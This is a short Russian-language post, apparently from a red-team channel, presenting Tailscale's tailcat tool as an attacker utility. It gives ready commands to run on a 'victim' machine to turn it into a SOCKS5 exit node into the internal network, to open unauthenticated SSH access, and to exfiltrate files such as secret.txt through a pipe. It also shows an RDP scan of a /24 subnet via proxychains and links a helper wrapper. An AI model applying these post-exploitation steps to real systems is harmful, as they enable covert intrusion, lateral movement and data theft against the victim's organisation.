Несколько дней назад ребята из TailScale выпустили свой инструмент tailcat, как можно понять из названия, это аналог netcat но работающий из коробки через сеть TailScale 🤩
Первой моей мыслью стало что инструментом начнут активно пользоваться атакующие и решил расписать разные примеры применения нового "условно легитимного" софта 😃
🔢 SOCKS5 Reverse Proxy
Можно использовать машину жертвы как exit-node и через неё получать доступ к внутренней сети. На машине жертвы запускаем следующую команду:
tailcat --serve=exit-nodeПо умолчанию
tailcat socks поднимает SOCKS5 на случайном порту и передаёт адрес и порт через переменную окружения. Чтобы не возиться с этим каждый раз, я написал небольшой wrapper под названием tcsocks, который поднимает локальный SOCKS5 на 1080 (порт можно поменять). На машине оператора запускаем:tcsocks -q <token>А дальше как обычно пользуемся proxychains:
proxychains -f proxy.conf -q nxc rdp 192.168.0.0/24🔢 SSH доступ без авторизации
Tailcat также позволяет в user mode слушать SSH от пользователя, без необходимости вводить пароль, это особенно удобно если был нестабильный шелл и нужно было использовать альтернативный канал. Сперва слушаем No Auth SSH на машине жертвы:
tailcat --serve=no-auth-sshДалее подключаемся по токену с машины оператора:
tailcat ssh <token> 🔢 Эксфильтрация данных через pipe
Ну и классика - эксфильтрация файлов через pipe на машине жертвы запускаем:
cat secret.txt | tailcat <token>
На машине оператора запускаем:
tailcat > secret.txtИз плюсов вижу то, что инструмент условно легитимный и работает из коробки, с открытым исходным кодом который можно кастомизировать под свои нужды 😎
💻 tcsocks: https://gist.github.com/s0ld13rr/18e2765da1831af0a656e7bb0a819e73
💻 tailcat: https://github.com/tailscale/tailcat
🧢 s0ld13r
